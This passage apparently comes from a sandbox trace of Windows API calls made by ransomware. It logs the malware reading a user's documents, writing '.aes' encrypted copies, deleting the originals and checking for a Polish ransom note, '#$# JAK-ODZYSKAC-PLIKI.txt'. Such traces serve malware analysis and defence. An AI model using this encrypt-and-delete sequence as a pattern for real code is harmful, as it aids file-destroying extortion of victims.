GetBestInterfaceEx (in: pDestAddr=0x28c1098*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0079.235] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.236] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.236] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.236] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.236] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.236] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.237] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.237] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.237] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.237] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.237] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.237] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.237] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.238] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.238] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.238] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.238] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.238] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.238] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.238] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.239] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.239] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.239] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.239] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.239] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.239] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0xac9, lpOverlapped=0x0) returned 1 [0079.239] ReadFile (in: hFile=0x8e4, lpBuffer=0x273da20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x273da20*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0079.239] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0xbe1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce974*=0xbe1, lpOverlapped=0x0) returned 1 [0079.240] WriteFile (in: hFile=0x8dc, lpBuffer=0x286ba6c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x286ba6c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0079.240] CloseHandle (hObject=0x8dc) returned 1 [0079.241] CloseHandle (hObject=0x8e4) returned 1 [0079.241] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx", lpFilePart=0x0) returned 0x34 [0079.241] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\BcAtcIc FCi96Kikr19.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\bcatcic fci96kikr19.pptx")) returned 1 [0079.242] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0079.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0079.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0079.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0079.242] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0079.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc", lpFilePart=0x0) returned 0x25 [0079.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0079.258] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc" (normalized: "c:\\users\\kft6utqw\\documents\\bdvwr.doc"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1e18f0, ftCreationTime.dwHighDateTime=0x1d300a0, ftLastAccessTime.dwLowDateTime=0xb4967520, ftLastAccessTime.dwHighDateTime=0x1d30243, ftLastWriteTime.dwLowDateTime=0xb4967520, ftLastWriteTime.dwHighDateTime=0x1d30243, nFileSizeHigh=0x0, nFileSizeLow=0xb76d)) returned 1 [0079.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0079.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc", lpFilePart=0x0) returned 0x25 [0079.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0079.258] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc" (normalized: "c:\\users\\kft6utqw\\documents\\bdvwr.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0079.258] GetFileType (hFile=0x8e4) returned 0x1 [0079.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0079.258] GetFileType (hFile=0x8e4) returned 0x1 [0079.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc.aes", lpFilePart=0x0) returned 0x29 [0079.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0079.258] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc.aes" (normalized: "c:\\users\\kft6utqw\\documents\\bdvwr.doc.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0079.259] GetFileType (hFile=0x8dc) returned 0x1 [0079.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0079.259] GetFileType (hFile=0x8dc) returned 0x1 [0079.259] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0079.266] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0079.266] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0079.273] LocalFree (hMem=0x703ef10) returned 0x0 [0079.273] GetAdaptersAddresses () returned 0x6f [0079.278] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0079.278] GetAdaptersAddresses () returned 0x0 [0079.283] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.289] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.289] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.295] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.296] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.302] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.302] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.309] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.309] LocalFree (hMem=0x7074460) returned 0x0 [0079.309] GetBestInterfaceEx (in: pDestAddr=0x2893e6c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0079.379] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.380] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.380] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.380] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.381] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.381] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.381] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.381] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.381] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.381] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.381] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.382] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.382] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.382] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.382] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.382] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.382] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.382] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.383] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.383] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.383] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.383] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x76d, lpOverlapped=0x0) returned 1 [0079.383] ReadFile (in: hFile=0x8e4, lpBuffer=0x2743280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2743280*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0079.383] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x881, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce974*=0x881, lpOverlapped=0x0) returned 1 [0079.383] WriteFile (in: hFile=0x8dc, lpBuffer=0x2839154*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2839154*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0079.383] CloseHandle (hObject=0x8dc) returned 1 [0079.384] CloseHandle (hObject=0x8e4) returned 1 [0079.384] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc", lpFilePart=0x0) returned 0x25 [0079.384] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\bdVwr.doc" (normalized: "c:\\users\\kft6utqw\\documents\\bdvwr.doc")) returned 1 [0079.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0079.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0079.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0079.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0079.387] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0079.414] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv", lpFilePart=0x0) returned 0x2a [0079.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0079.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv" (normalized: "c:\\users\\kft6utqw\\documents\\d-4thvumdh.csv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ddfa0, ftCreationTime.dwHighDateTime=0x1d3043f, ftLastAccessTime.dwLowDateTime=0xefb37730, ftLastAccessTime.dwHighDateTime=0x1d2f97d, ftLastWriteTime.dwLowDateTime=0xefb37730, ftLastWriteTime.dwHighDateTime=0x1d2f97d, nFileSizeHigh=0x0, nFileSizeLow=0x17bd1)) returned 1 [0079.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0079.414] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv", lpFilePart=0x0) returned 0x2a [0079.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0079.414] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv" (normalized: "c:\\users\\kft6utqw\\documents\\d-4thvumdh.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0079.414] GetFileType (hFile=0x8e4) returned 0x1 [0079.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0079.414] GetFileType (hFile=0x8e4) returned 0x1 [0079.414] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv.aes", lpFilePart=0x0) returned 0x2e [0079.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0079.415] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv.aes" (normalized: "c:\\users\\kft6utqw\\documents\\d-4thvumdh.csv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0079.415] GetFileType (hFile=0x8dc) returned 0x1 [0079.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0079.415] GetFileType (hFile=0x8dc) returned 0x1 [0079.415] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0079.428] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0079.428] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0079.436] LocalFree (hMem=0x703ef10) returned 0x0 [0079.436] GetAdaptersAddresses () returned 0x6f [0079.440] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0079.440] GetAdaptersAddresses () returned 0x0 [0079.446] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.453] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 